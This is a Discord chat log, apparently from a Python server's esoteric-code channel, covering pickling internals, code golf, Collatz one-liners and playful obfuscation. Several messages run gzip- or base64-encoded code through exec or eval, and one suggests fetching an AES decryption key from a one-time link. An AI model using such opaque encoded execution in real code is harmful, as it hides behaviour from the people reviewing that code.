for i in it:
    print(f"{i}, {it.__getstate__()}")
night quarryBOT
#

@verbal talon :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 3, in <module>
003 | AttributeError: 'range_iterator' object has no attribute '__getstate__'. Did you mean: '__setstate__'?
verbal talon
#

Hmm, odd, aren't they supposed to implement both?

rugged sparrow
#

reduce not getstate

#

There's no rule to implement all of them

verbal talon
#

I see, it depends on how the type implements pickling

#

right?

rugged sparrow
#

Yes

frozen hazel
#

is there any guide or something

wheat river
#

no? i just hang around this channel

frozen hazel
#

cults have books usually

#

so

#

🗿

verbal talon
# rugged sparrow Yes

So if I wanted to discover all this, I would basically have to go into the code for the range_iterator type and look at what state/methods are used in pickling... okay I think I understand that now, thanks for explaining

wheat river
rugged sparrow
frozen hazel
frozen hazel
frozen hazel
verbal talon
#

Or I guess more like call/cc

wheat river
rugged sparrow
#

I don't think native generators implement the protocol

frozen hazel
verbal talon
#

!e

def my_generator():
    yield 1
    yield 2
    yield 3
it = my_generator()
for i in it:
    print(i)
    it.__setstate__(0)
night quarryBOT
#

@verbal talon :x: Your eval job has completed with return code 1.

001 | 1
002 | Traceback (most recent call last):
003 |   File "<string>", line 8, in <module>
004 | AttributeError: 'generator' object has no attribute '__setstate__'. Did you mean: '__setattr__'?
verbal talon
#

sad, imagine if this worked...

plucky plover
#

generators do have .send, so…

verbal talon
#

wow

rugged sparrow
#

send is used to push a value in at the yield point

#

Afaik it's really used for async internally

verbal talon
#

!e

def my_generator(): yield 1
print(__import__('pickle').dumps(my_generator()))
night quarryBOT
#

@verbal talon :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | TypeError: cannot pickle 'generator' object
verbal talon
#

Sad. Very sad.

#

!e

(it:=iter(range(42, 46)),any(print(__import__('pickle').dumps(it)) for _ in it))
night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

001 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x01b.'
002 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x02b.'
003 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x03b.'
004 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x04b.'
humble rune
#

testing something rq

#

!e

while 1:print("test")
night quarryBOT
#

@humble rune :x: Your eval job has completed with return code 143 (SIGTERM).

001 | test
002 | test
003 | test
004 | test
005 | test
006 | test
007 | test
008 | test
009 | test
010 | test
011 | test
... (truncated - too many lines)

Full output: too long to upload

verbal talon
#

I guess it's the same as using __setstate__

vague cairn
#

nice

upbeat sonnet
#

@frozen hazel i did this for the kata i was looking for it for py def highlight(code): from itertools import groupby return ''.join([i[0] == "F" and f'<span style="color: pink">{i}</span>' or i[0] == "R" and f'<span style="color: green">{i}</span>' or i[0] == 'L' and f'<span style="color: red">{i}</span>' or i.isnumeric() and f'<span style="color: orange">{i}</span>' for i in ' '.join(''.join(group) for key, group in groupby(code)).split()])

#

closest to a onliner i could make

#

extremely obfuscated, even with shorthand ternary

#

and it didnt even work 😭

humble rune
upbeat sonnet
#

it broke cos an input was a bool

humble rune
#

lots of unneccesary whitespace

upbeat sonnet
#

i like the whitespace cos

#

the whitespace makes it look breedable

humble rune
#

no whitespace bad

upbeat sonnet
#

readable*

humble rune
#

breedable?

upbeat sonnet
#

readable

#

thats def what i meant

#

😁

humble rune
#

🤨 📸

#

readable code 🤢 🤮

#

short code 😃 👍

grave rover
rugged sparrow
upbeat sonnet
#

!e ```py
def highlight(code):
from itertools import groupby
return ''.join(filter(None, [i[0] == "F" and f'<span style="color: pink">{i}</span>' or i[0] == "R" and f'<span style="color: green">{i}</span>' or i[0] == 'L' and f'<span style="color: red">{i}</span>' or i.isnumeric() and f'<span style="color: orange">{i}</span>' for i in ' '.join(''.join(group) for key, group in groupby(code)).split()]))

print(highlight("With Christ in the vessel we can smile at the storm."))```

night quarryBOT
#

@upbeat sonnet :warning: Your eval job has completed with return code 0.

[No output]
upbeat sonnet
#

oh.

humble rune
#

@verbal talon can i get the ungolfed version of your code the unminified one you sent doesnt work

upbeat sonnet
#

!e ```py
def highlight(code):
from itertools import groupby
return ''.join(map(str, [i[0] == "F" and f'<span style="color: pink">{i}</span>' or i[0] == "R" and f'<span style="color: green">{i}</span>' or i[0] == 'L' and f'<span style="color: red">{i}</span>' or i.isnumeric() and f'<span style="color: orange">{i}</span>' for i in ' '.join(''.join(group) for key, group in groupby(code)).split()]))

print(highlight("With Christ in the vessel we can smile at the storm."))```

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

FalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalse
upbeat sonnet
#

oh.

frozen hazel
verbal talon
wheat river
# verbal talon <@879807617260716143> You really nerd sniped me dude ```py (i:=__import__,rr:=i(...
(i:=__import__,rr:=i('random').randrange,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0 else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/255,1,1)),p(t.bold(t.color_rgb(int(R[0]*255),int(R[1]*255),int(R[2]*255))("@"))),(H:=(H+7)&255),i('time').sleep(0.01)))for _ in i('itertools').count(0))```
shorter by 1 char xD
verbal talon
#

oh jeez which one, did I miss a space

#

I've been golfed

wheat river
#

0xff -> 255

verbal talon
#

ty

wheat river
#
(i:=__import__,rr:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(int(R[0]*n),int(R[1]*n),int(R[2]*n))("@"))),(H:=(H+7)&n),i('time').sleep(.01)))for _ in i('itertools').count(0))

i guess u can do this too

verbal talon
#

Yeah actually I think using map there or something might make sense

plucky plover
#

make rr → r

verbal talon
#

tru

#

okay one sec

plucky plover
#

also, if x<0else will work

#

time.sleep(.01)

wheat river
#

ya

verbal talon
#

if x<0else shows as a syntax error in my IDE but still runs, huh

wheat river
#
(i:=__import__,rr:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(int(R[0]*n),int(R[1]*n),int(R[2]*n))("@"))),H:=H+7&n,i('time').sleep(.01)))for _ in i('itertools').count(0))

removed some parens

plucky plover
verbal talon
#

Oh shoot now I have a new version

#
(i:=__import__,r:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=r(w),y:=r(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(*map(lambda m:int(m*n),R))("@"))),(H:=(H+7)&n),i('time').sleep(.01)))for _ in iter(int,1))
#

Gotta resolve some merge conflicts now

unreal echo
#

mmm, code soup

plucky plover
#

merge conflicts with golfed code must be a nightmare

verbal talon
#
print("🥦")
#

I mean so this is something else I've been thinking about. I can gzip my code and that shrinks it, but I have to base64 encode it to input it into the code, which makes it bigger again

(i:=__import__,exec(i('gzip').decompress(i('base64').b64decode("H4sIAA+gfmIAA0VQTW/rIBC891dYPbywyTZ1KlVPQqXqMeeqd0RiEpD4sIDY5t93cVr1YAwzOzMwzHIhpfVjTEVKTFxYtkkqDNFvYN829F01Bi5eXl9x5MIpfxpUt1V8TDYUtlWowyA2G7y4WzbiK900YFmNTk7nrAdy+tLJ26AcAzxy0ePMRdnPdigGTdsaba+m4MjK/uy0SjuCoiejhYvEZsDa/gZwIuCAEx0PsI4bO2h5vqUcE6AKlYVYGGM0tuympenqbqqA7C5sK9hLt7z12mXd0PnpZcWf7sS7mLtGdT2y+hdGVH3rV6bBponqr6i+C/MrapfycdJyqYzygaI/1zbO0cWUa6Y6TJ5kiTJdT+z4HPCAB7i/5hTd0Dpooyu99WpkP5173gr32wD4CcAePx6huVOh7Lj7D/8Ip5hivaaI7LQe2b4nZ7jE1MnOho5oW3QqMbp2jXO8kWEP8PANnD5svwgCAAA="))))
#

But of course we can use the full range of unicode characters, not just those in base64...

wheat river
#

u dont need count(0), count() should work

verbal talon
#

Oh I think I was going to change that to iter(int,1)

wheat river
#
(i:=__import__,r:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=r(w),y:=r(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(*map(lambda m:int(m*n),R))("@"))),H:=H+7&n,i('time').sleep(.01)))for _ in iter(int,1))
#

(H:=(H+7)&n) = H:=H+7&n

verbal talon
#

I think that will print even longer, because it will be in hex

plucky plover
#

hmm. ig so

verbal talon
#

Does code golf have to be in ASCII? Otherwise what does a "shorter" program mean? Fewer code points? But UTF-8 is variable width so you can pack more bits into the longer sequences

#

Anyway I think it would be cool to "pack" this/another program into UTF-8 so that it occupies very few codepoints

plucky plover
#

in general, ASCII yes, but stuff like APL and J exist

honest sierra
#

!e python import base64;base64_message='cHJpbnQoIkhlbGxvLCBXb3JsZCIp';base64_bytes=base64_message.encode('ascii');message_bytes=base64.b64decode(base64_bytes);message=message_bytes.decode('ascii');eval(message)

night quarryBOT
#

@honest sierra :white_check_mark: Your eval job has completed with return code 0.

Hello, World
restive void
verbal talon
covert rivet
#

Deserves a pin, change my mind

restive void
#

[o for o in l if (not a or a == o.a) and (not b or b == o.b)]?

earnest wing
#

a is None or o.a==a and(b is None or o.b==b)

earnest wing
restive void
restive void
#

!e

import operator
from collections import namedtuple

import fishhook

Card = namedtuple('Card', 'suit rank')

class Deck:
    def __init__(self) -> None:
        self.cards = [
            Card(s, n)
            for n in ['A', *range(2, 11), 'J', 'Q', 'K']
            for s in ('♠️', '♥️', '♣️', '♦️')
        ]

    def search(self, query):
        yield from filter(query, self.cards)

for op in ("and", "or"):
    for t in (str, type(lambda:0)):
        @fishhook.hook(t, name=f"__{op}__")
        def f(*args, op=op):
            return lambda c: getattr(operator, f"{op}_")(
                *(x in str(c) if isinstance(x, str) else x(c) for x in args),
            )

d = Deck()
print(*d.search('A' & '♠️'), sep='\n')
night quarryBOT
#

@restive void :white_check_mark: Your eval job has completed with return code 0.

Card(suit='♠️', rank='A')
restive void
#

fun with fishhook this

#

!e Can be chained as you wish

print(*d.search('A' & '♠️' | '4'), sep='\n')
night quarryBOT
#

@restive void :white_check_mark: Your eval job has completed with return code 0.

001 | Card(suit='♠️', rank=4)
002 | Card(suit='♥️', rank=4)
003 | Card(suit='♣️', rank=4)
004 | Card(suit='♦️', rank=4)
005 | Card(suit='♠️', rank='A')
restive void
#

(Although a proper deck of cards should be initialized like this:

self.cards = sorted([Card(s,n)for n in['A',*range(2,11),'J','Q','K']for s in'♠️♦️♣️♥️')],key=lambda c:('♠️♦️♣️♥️'.index(c.suit),{'A':1,'J':11,'Q':12,'K':13}.get(c.rank,c.rank)*-('♠️♦️♣️♥️'.index(c.suit)-2)))

)

quartz wave
# wheat river ```py (i:=__import__,r:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='...
H:=0,(p:=lambda *a:print(*a,end='',flush=True))(t.clear+t.home),x:=(r:=(i:=__import__)('random').randrange)(w:=(t:=i('blessed').Terminal()).width),y:=r(h:=t.height),vx:=1,vy:=1,p(t.hide_cursor),any(not((x:=x+vx,y:=y+vy),x<0and(x:=1,vx:=1)or(x>=w and(x:=w-2,vx:=-1)),y<0and(y:=1,vy:=1)or(y>=h and(y:=h-2,vy:=-1)),p(t.move_xy(x,y)),p(t.bold(t.color_rgb(*map(lambda m:int(m*n),i('colorsys').hsv_to_rgb(H/(n:=255),1,1)))("@"))),H:=H+7&n,i('time').sleep(.01))for _ in iter(int,1))
``` will this work
floral meteor
#

Try doing it without imports

quartz wave
rugged sparrow
#

You can use ansi escape codes

quartz wave
#

else it just prints this

rugged sparrow
#

ANSI escape codes are just output to the terminal. (Unless you are on windows then some don't work)

rugged sparrow
#

Although I think Windows Terminal has them now

upbeat sonnet
#

!e py for i in range(30, 38): print(f'\033[1;{i};40m THIS.')

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

001 |  THIS.
002 |  THIS.
003 |  THIS.
004 |  THIS.
005 |  THIS.
006 |  THIS.
007 |  THIS.
008 |  THIS.
upbeat sonnet
#

buh-

#

why-

floral meteor
# upbeat sonnet buh-

How do you think it would parse ANSI escape sequences? it's discord syntax colouring, not a terminal

#

in this case you would not use the bot, rather screenshot yourself doing the thing

wheat river
#

acrylic gang

flint hollow
wheat river
#
 THIS.
 THIS.
 THIS.
 THIS.
 THIS.
 THIS.
 THIS.
 THIS.
upbeat sonnet
#

thats why i attempted here

floral meteor
#

if __import__('os').system('') doesn't fix that then try using a normal terminal

upbeat sonnet
#

nor idle

humble rune
sick hound
#

thoughts?

#

obfuscated hello world

humble rune
#

why the \n at the beggining

sick hound
#

to oneline

humble rune
#

k

night quarryBOT
#

Hey @sick hound!

You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.

#
Missing required argument

code

fleet bridge
night quarryBOT
#
Missing required argument

code

#
Missing required argument

code

sick hound
#

grrr

night quarryBOT
#
Missing required argument

code

humble rune
#

bruh

sick hound
#

any recomendations for py obfuscators?

humble rune
#

wrong file lmao

sick hound
#

lmao

humble rune
night quarryBOT
#
Missing required argument

code

sick hound
#

so would i just encrypt that code into aes 265

#

then exec(aes.decrypt('''asdasdasd)) it

#

fuck taht looks complicated to do lol

humble rune
#

get the decryption from something else

sick hound
#

whats the simplest way to do it lol

humble rune
#

like a link that only works once

#

just dont

#

like why are you obfuscating python code tho

sick hound
#

idk funny

humble rune
#

why do that when can make code small

sick hound
#

nah big code = big funi

humble rune
sick hound
#

hm aes to hard

#

cba

humble rune
# sick hound

!e

print("hello")

golfed your code
removed 193944 characters

night quarryBOT
#

@humble rune :white_check_mark: Your eval job has completed with return code 0.

hello
floral meteor
#

it's possible to find out through higher frame access

night quarryBOT
#

Hey @sick hound!

You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.

#
Missing required argument

code

#
Command Help

!eval <code>
Can also use: e

*Run Python code and get the results.

This command supports multiple lines of code, including code wrapped inside a formatted code block. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.

We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!*

upbeat sonnet
sick hound
#

!e ```py
all =[]
class OOO0O0OOO000OOOO0 ():
class_public_var ='class_public_var'
_class_public_var ='_class_public_var'
__OOOO0000000000O00 =[5047 ,2136 ,8662 ,4320 ,4627 ,8272 ,2896 ,5746 ,9657 ,5328 ,127 ,2998 ,8700 ,1516 ,2730 ,9572 ,4144 ,7134 ,9366 ,2318 ,2677 ,791 ,3837 ,4022 ,794 ,8487 ,2890 ,7721 ,8309 ,5484 ,9826 ,5089 ,8199 ,895 ,4877 ,1205 ,18 ,5751 ,1377 ,1548 ,6799 ,4414 ,4704 ,1566 ,8055 ,7576 ,882 ,2447 ,4987 ,4286 ,2392 ,94 ,5373 ,1985 ,427 ,6090 ,6802 ,8539 ,1850 ,7035 ,6074 ,1555 ,8707 ,5252 ,3675 ,1006 ,663 ,6504 ,4841 ,7520 ,8163 ,4690 ,4135 ,7201 ,2796 ,1671 ,722 ,9965 ,900 ,2550 ,9735 ,5287 ,5481 ,4228 ,698 ,9630 ,4501 ,2997 ,2515 ,6266 ,2626 ,3101 ,9253 ,2238 ,5937 ,6985 ,2894 ,8913 ,8215 ,1695 ,5179 ,7312 ,4382 ,6739 ,904 ,9155 ,4058 ,2779 ,5563 ,5497 ,7835 ,5939 ,6912 ,8064 ,1395 ,3002 ,2325 ,7485 ,3227 ,8380 ,5981 ,4814 ,5919 ,6472 ,1902 ,6588 ,9583 ,7586 ,8862 ,3859 ,8619 ,359 ,9179 ,6668 ,4430 ,1815 ,4873 ,4678 ,5901 ,1261 ,9107 ,2459 ,6087 ,1581 ,695 ,2452 ,7072 ,1363 ,4802 ,8100 ,3017 ,7321 ,1200 ,24 ,6817 ,2354 ,4114 ,3972 ,3523 ,4516 ,3557 ,4986 ,6578 ,2249 ,8243 ,7070 ,6426 ,3931 ,3050 ,6870 ,3028 ,7408 ,8470 ,5811 ,8839 ,2982 ,2262 ,3137 ,9588 ,2420 ,5526 ,2146 ,4492 ,7073 ,6363 ,2304 ,4440 ,4424 ,6447 ,967 ,3687 ,2648 ,5397 ,5942 ,5736 ,2840 ,5316 ,2178 ,3926 ,1987 ,4455 ,1344 ,8279 ,5162 ,2621 ,8485 ,9698 ,8241 ,9289 ,5843 ,2708 ,1550 ,1439 ,3532 ,3130 ,7471 ,31 ,1842 ,5912 ,985 ,5621 ,9298 ,491 ,1084 ,3848 ,4667 ,8259 ,7065 ,209 ,5897 ,2440 ,8267 ,1356 ,1704 ,8971 ,2681 ,8211 ,1935 ,3415 ,6085 ,7470 ,5043 ,3949 ,8113 ,2059 ,3818 ,3064 ,9373 ,6018 ,5761 ,5331 ,9681 ,9089 ,8080 ,6889 ,6109 ,1788 ,7049 ,3601 ,6757 ,1829 ,4201 ,5389 ,775 ,1289 ,2854 ,4120 ,7238 ,6008 ,5354 ,9920 ,4977 ,175 ,2112 ,3080 ,353 ,2340 ,708 ,812 ,5698 ,5656 ,7790 ,5976 ,2141 ,6991 ,3667 ,5771 ,4714 ,2184 ,7288 ,4379 ,2547 ,6915 ,7953 ,989 ,2077 ,7063 ,5426 ,4341 ,5119 ,8368 ,7227 ,5692 ,1574 ,3550 ,4834 ,6525 ,7555 ,3579 ,5774 ,6897 ,6803 ,595 ,6516 ,3907 ,3801 ,6372 ,3106 ,478 ,2236 ,3830 ,4234 ,5738 ,5712 ,4002 ,5933 ,3163 ,5028 ,637 ,3997 ,2709 ,6847 ,1179 ,7711 ,2389 ,9322 ,3348 ,704 ,401 ,1500 ,7339 ,6546 ,1931 ,4239 ,3420 ,9358 ,8111 ,4643 ,7514 ,5245 ,6750 ,1143 ,7316 ,171 ,9676 ,717 ,5964 ,4277 ,9461 ,2088 ,9866 ,2792 ,218 ,5194 ,1310 ,1710 ,4194 ,8938 ,3566 ,1369 ,5433 ,3257 ,6212 ,8330 ,8767 ,7202 ,3731 ,7596 ,1734 ,7414 ,9660 ,5975 ,7979 ,4251 ,9504 ,5718 ,5457 ,4564 ,2989 ,4160 ,724 ,1449 ,356 ,4265 ,334 ,5710 ,9263 ,813 ,9818 ,4754 ,6481 ,1182 ,384 ,5431 ,2049 ,8363 ,5406 ,8316 ,8065 ,3976 ,726 ,3160 ,3664 ,7111 ,2122 ,291 ,9527 ,1373 ,1530 ,9694 ,2331 ,5620 ,3150 ,2131 ,7764 ,2130 ,4151 ,7301 ,5336 ,6434 ,7598 ,9522 ,9581 ,5682 ,8231 ,6492 ,4803 ,2082 ,1351 ,8133 ,5544 ,9879 ,9540 ,7617 ,5465 ,896 ,8287 ,7324 ,492 ,1087 ,7532 ,7149 ,7443 ,3012 ,8587 ,3753 ,7900 ,3461 ,3418 ,227 ,79 ,5146 ,2373 ,7399 ,6665 ,1196 ,6552 ,3419 ,5730 ,2365 ,5145 ,841 ,1753 ,7293 ,6268 ,4837 ,1350 ,949 ,7751 ,9558 ,1358 ,8359 ,1415 ,7092 ,6113 ,9626 ,8253 ,5500 ,9552 ,1869 ,376 ,1535 ,6910 ,2625 ,9536 ,80 ,8172 ,5017 ,1927 ,2985 ]
def init (OOOO0OOOO00OO0O00 ):
O000O0OOO00OO000O ="a"
def public_method (O0O0000OOOO0O0OO0 ):
print ("hello")
OOO0O0OO000O0OO00 =OOO0O0OOO000OOOO0 ()
OOO0O0OO000O0OO00 .public_method ()

night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

hello
sick hound
#

muahahuhah

#

thats stage 1 of obf

#

stage 2 is this

#

fuck its too big

floral meteor
#

exec a string outputted by a brainfuck interpreter interpreting a brainfuck script

sick hound
#

yes!

floral meteor
#

and also add encryption

sick hound
#

this is the final one

floral meteor
#

so it has to decrypt before brainfucking

humble rune
sick hound
#

well i can add more

floral meteor
#

and also don't use the standard brainfuck charactrs

sick hound
#

L

#

wdym

floral meteor
#

just use any random 7 characters

#

and interpret them as equivalent to +-[]<>. respectively

#

for example you could make an integer with only the digits 1234567 involved

sick hound
#

i use b64, fernet, singlelining, docstr remover, rename params

floral meteor
#

I use useless or misleading names, and old-fashioned deception

humble rune
#

i use making all my variables named alphabetically

fleet bridge
night quarryBOT
#
Missing required argument

code

#
Missing required argument

code

humble rune
#

!e

for a in range(1000):
    b,c=-~a,0
    while b-1:b=[b/2,b*3+1][b%2>0];c+=1
    print(c)
wheat river
#

!e

for a in range(3,10):print([*__import__('itertools').takewhile(lambda x:x!=1,(a:=(a%2 and a*3+1 or a//2)for _ in iter(int,1)))])
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

001 | [10, 5, 16, 8, 4, 2]
002 | [2]
003 | [16, 8, 4, 2]
004 | [3, 10, 5, 16, 8, 4, 2]
005 | [22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2]
006 | [4, 2]
007 | [28, 14, 7, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2]
humble rune
#

what this

wheat river
#

collatz conj

quartz wave
#

!e ```py
for a in range(3,10):print([a:=a*[.5,3][b:=a%2]+b for _ in iter(lambda:a,1)])

night quarryBOT
#

@quartz wave :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 |   File "<string>", line 1, in <listcomp>
004 | TypeError: list indices must be integers or slices, not float
quartz wave
#

ok

wheat river
#

iter(lambda:a,1)oh right, i can do that 👀

quartz wave
#

!e ```py
for a in range(3,10):print([a:=a%2and a*3+1or a//2for _ in iter(lambda:a,1)])

night quarryBOT
#

@quartz wave :white_check_mark: Your eval job has completed with return code 0.

001 | [10, 5, 16, 8, 4, 2, 1]
002 | [2, 1]
003 | [16, 8, 4, 2, 1]
004 | [3, 10, 5, 16, 8, 4, 2, 1]
005 | [22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1]
006 | [4, 2, 1]
007 | [28, 14, 7, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1]
quartz wave
#

ok

#

if you want the before effect you could always do iter(lambda:a,2)

#

i had an idea to use a:=eval(f'a{['>>','*3+'][a%2]}1') but it was kinda long

wheat river
#

!e

for a in range(3,10):print([a:=a*[.5,3][b:=a%2>0]+b for _ in iter(lambda:a,1)])
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

001 | [10, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
002 | [2.0, 1.0]
003 | [16, 8.0, 4.0, 2.0, 1.0]
004 | [3.0, 10.0, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
005 | [22, 11.0, 34.0, 17.0, 52.0, 26.0, 13.0, 40.0, 20.0, 10.0, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
006 | [4.0, 2.0, 1.0]
007 | [28, 14.0, 7.0, 22.0, 11.0, 34.0, 17.0, 52.0, 26.0, 13.0, 40.0, 20.0, 10.0, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
wheat river
#

nah this is longer

split salmon
#
print(69if not(not((not(not(69<<420>>69)))<<69<<420<<True-False))else 420)```
#

!e print(69if not(not((not(not(69<<420>>69)))<<69<<420<<True-False))else 420)

night quarryBOT
#

@split salmon :white_check_mark: Your eval job has completed with return code 0.

69
pastel sparrow
quartz wave
#
69
``` (only works in interactive AKA single mode of compiling) golfed even more
split salmon
#

!e py print(chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.10256410256410256))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.5544554455445545))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.06779661016949153))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07920792079207921))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07017543859649122))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.25))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.7887323943661971))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07207207207207207))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07272727272727272))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.509090909090909))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.08247422680412371))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.25))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.11267605633802817))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.0761904761904762))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.06779661016949153))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07920792079207921))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/1.75))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.0898876404494382))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.5045045045045045))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.47863247863247865))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.25))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.6588235294117647))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07142857142857142))) i wote this btw

night quarryBOT
#

@split salmon :white_check_mark: Your eval job has completed with return code 0.

Never Gonna Give You Up
split salmon
#

yay it works

fleet bridge
#

!e

import os
os._exit(123)
night quarryBOT
#

@fleet bridge :warning: Your eval job has completed with return code 123.

[No output]
fleet bridge
#

!e

import sys
sys.exit("hello world")
night quarryBOT
#

@fleet bridge :x: Your eval job has completed with return code 1.

hello world
upbeat sonnet
#

task failed successfully

split salmon
#

Lol

weak jacinth
#

!e

print('hello')
#

!e

__import__('time').sleep(5)
steep crest
#

this channel has a specific purpose (see the channel topic)

weak jacinth
#

Thanks, will do

sick hound
#

!e

_ = [print,chr,int,(___:=(((_:=(([]==[])+([{}]!=[])))+(_<<_))+(__:=(~~([]==[])))+_+_+(_/_))*(_+_+_)+_/_),____:=(_i:=([{___}]==[{__}]))+___+_i+_i+_i+_i+_i+_i+_i+_i+_i+_i+_/_+_,(_____:=(__+_))*_____+____,(__+_+_+_+_+_+_+_+_+_+_+_+_)*_**_+__+_+__+__,(_+_+_+_+_<<_____>>__<<_<<_//_%_%_)*(__:=_-_)+_+__+____+_+_+_+__+_]
